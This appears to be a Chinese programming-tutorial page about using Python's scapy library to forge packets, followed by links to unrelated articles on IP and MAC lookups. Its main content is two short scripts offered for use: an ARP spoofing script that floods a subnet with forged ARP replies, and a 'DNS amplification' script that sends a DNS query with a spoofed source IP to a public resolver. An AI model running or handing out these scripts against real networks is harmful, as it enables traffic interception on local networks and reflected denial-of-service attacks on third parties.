Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子
scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。
这里就直接用python的scapy搞。
这里是arp的攻击方式,你可以做成arp攻击。
#!/usr/bin/python
"""
ARP attack
"""
import sys, os
from scapy.all import *
if os.geteuid() != 0:
print "This program must be run as root. Aborting."
sys.exit()
if len(sys.argv) < 2:
print "Pkease Use %s x.x.x" % (sys.argv[0])
exit()
attackIP = sys.argv[1] + ".0/24"
srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)
dns放大攻击
#coding:utf-8
from scapy import *
from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)
~
相关推荐
-
尝试使用Python多线程抓取代理服务器IP地址的示例
这里以抓取 http://www.proxy.com.ru 站点的代理服务器为例,代码如下: #!/usr/bin/env python #coding:utf-8 import urllib2 import re import threading import time import MySQLdb rawProxyList = [] checkedProxyList = [] #抓取代理网站 targets = [] for i in xrange(1,42): target = r"htt
-
python获取本机mac地址和ip地址的方法
本文实例讲述了python获取本机mac地址和ip地址的方法.分享给大家供大家参考.具体如下: import sys, socket def getipaddrs(hostname): result = socket.getaddrinfo(hostname,None,0,socket.SOCK_STREAM) return [x[4][0] for x in result] # the name of the local machine hostname = socket.gethostnam
-
python通过scapy获取局域网所有主机mac地址示例
python通过scapy获取局域网所有主机mac地址 复制代码 代码如下: #!/usr/bin/env python# -*- coding: utf-8 -*-from scapy.all import srp,Ether,ARP,confipscan='192.168.1.1/24'try: ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=ipscan),timeout=2,verbose=False)exc
-
python实现查询IP地址所在地
使方法一.用IP138数据库查询域名或IP地址对应的地理位置. #-*- coding:gbk -*- import urllib2 import re try: while True: ipaddr = raw_input("Enter IP Or Domain Name:") if ipaddr == "" or ipaddr == 'exit': break else: url = "http://www.ip138.com/ips138.asp?i
-
使用Python判断IP地址合法性的方法实例
一.使用方法和执行效果请看图:二.python实现代码: 复制代码 代码如下: [root@yang python]# vi check_ip.py #!/usr/bin/python import os,sys def check_ip(ipaddr): import sys addr=ipaddr.strip().split('.') #切割IP地址为一个列表 #print addr if len(addr) != 4: #
-
Python基于scapy实现修改IP发送请求的方法示例
本文实例讲述了Python基于scapy实现修改IP发送请求的方法.分享给大家供大家参考,具体如下: 今天同事想测试WAF的页面统计功能,所以需要模拟多个IP向多个域名发送请求,也就是需要修改源IP地址.这个如果使用socket库就比较麻烦了, 需要使用raw socket,相当麻烦.还好咱有scapy,轻松搞定. DOMAIN是我随机构造的域名库,SOURCE也是随机构造的源IP地址. #!/usr/bin/env python #-*-encoding:UTF-8-*- from scapy
-
Python实现根据IP地址和子网掩码算出网段的方法
本文实例讲述了Python实现根据IP地址和子网掩码算出网段的方法.分享给大家供大家参考.具体如下: 该代码在Linux环境2.6.6python版本测试通过! #!/usr/bin/env python #_*_encoding:utf-8_*_ #Input your ip address and netmask to figure out your network . #申明:此脚本为交互式,默认情况下请执行python network.py from IPy import IP inpu
-
python实现根据主机名字获得所有ip地址的方法
本文实例讲述了python实现根据主机名字获得所有ip地址的方法.分享给大家供大家参考.具体实现方法如下: # -*- coding: utf-8 -*- import sys, socket result = socket.getaddrinfo('www.google.com', None, 0, socket.SOCK_STREAM) counter = 0 for item in result: print "%-2d: %s" % (counter, item[4]) cou
-
python获取外网ip地址的方法总结
本文实例总结了python获取外网ip地址的方法.分享给大家供大家参考.具体如下: 一.利用脚本引擎库直接获取 import console; import web.script import inet.http; var jsVm = web.script("JavaScript") jsVm.AddCode( inet.http().get("http://fw.qq.com/ipaddress") ) var ipAddr = jsVm.CodeObject.
-
python 获取本机ip地址的两个方法
第一种: 复制代码 代码如下: import socket import fcntl import struct def get_ip_address(ifname): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) return socket.inet_ntoa(fcntl.ioctl( s.fileno(), 0x8915, # SIOCGIFADDR struct.pack('256s', ifname[:15]) )[20:24]
-
python实现根据ip地址反向查找主机名称的方法
本文实例讲述了python实现根据ip地址反向查找主机名称的方法.分享给大家供大家参考.具体如下: import sys, socket try: result = socket.gethostbyaddr("66.249.71.15") print "Primary hostname:" print " " + result[0] # Display the list of available addresses #that is also r
-
python使用Flask框架获取用户IP地址的方法
本文实例讲述了python使用Flask框架获取用户IP地址的方法.分享给大家供大家参考.具体如下: 下面的代码包含了html页面和python代码,非常详细,如果你正使用Flask,也可以学习一下最基本的Flask使用方法. python代码如下: from flask import Flask, render_template, request # Initialize the Flask application app = Flask(__name__) # Default route,
随机推荐
- asp.net Excel转换为SQL Server的方法
- mySQL UNION运算符的默认规则研究
- C++常量详解一(常量指针与常量引用的初始化)
- Shell脚本中获取本机ip地址的3个方法
- Python中死锁的形成示例及死锁情况的防止
- js控制文本框只能输入中文、英文、数字与指定特殊符号的实现代码
- 引入JavaScript时alert弹出框显示中文乱码问题
- Python最基本的输入输出详解
- Apache、SSL、MySQL和PHP平滑无缝地安装
- shell 命令行中操作HBase数据库实例详解
- SQL Server2005异地自动备份方法
- jquery validate在ie8下的bug解决方法
- 网页常用特效代码整理
- js获取滚动距离的方法
- Java中的日期和时间类以及Calendar类用法详解
- java Iterator接口和LIstIterator接口分析
- 图片加载完成再执行事件的实例
- python Pandas 读取txt表格的实例
- Python之inspect模块实现获取加载模块路径的方法
- 易语言取文本左右及中间指定长度的文本内容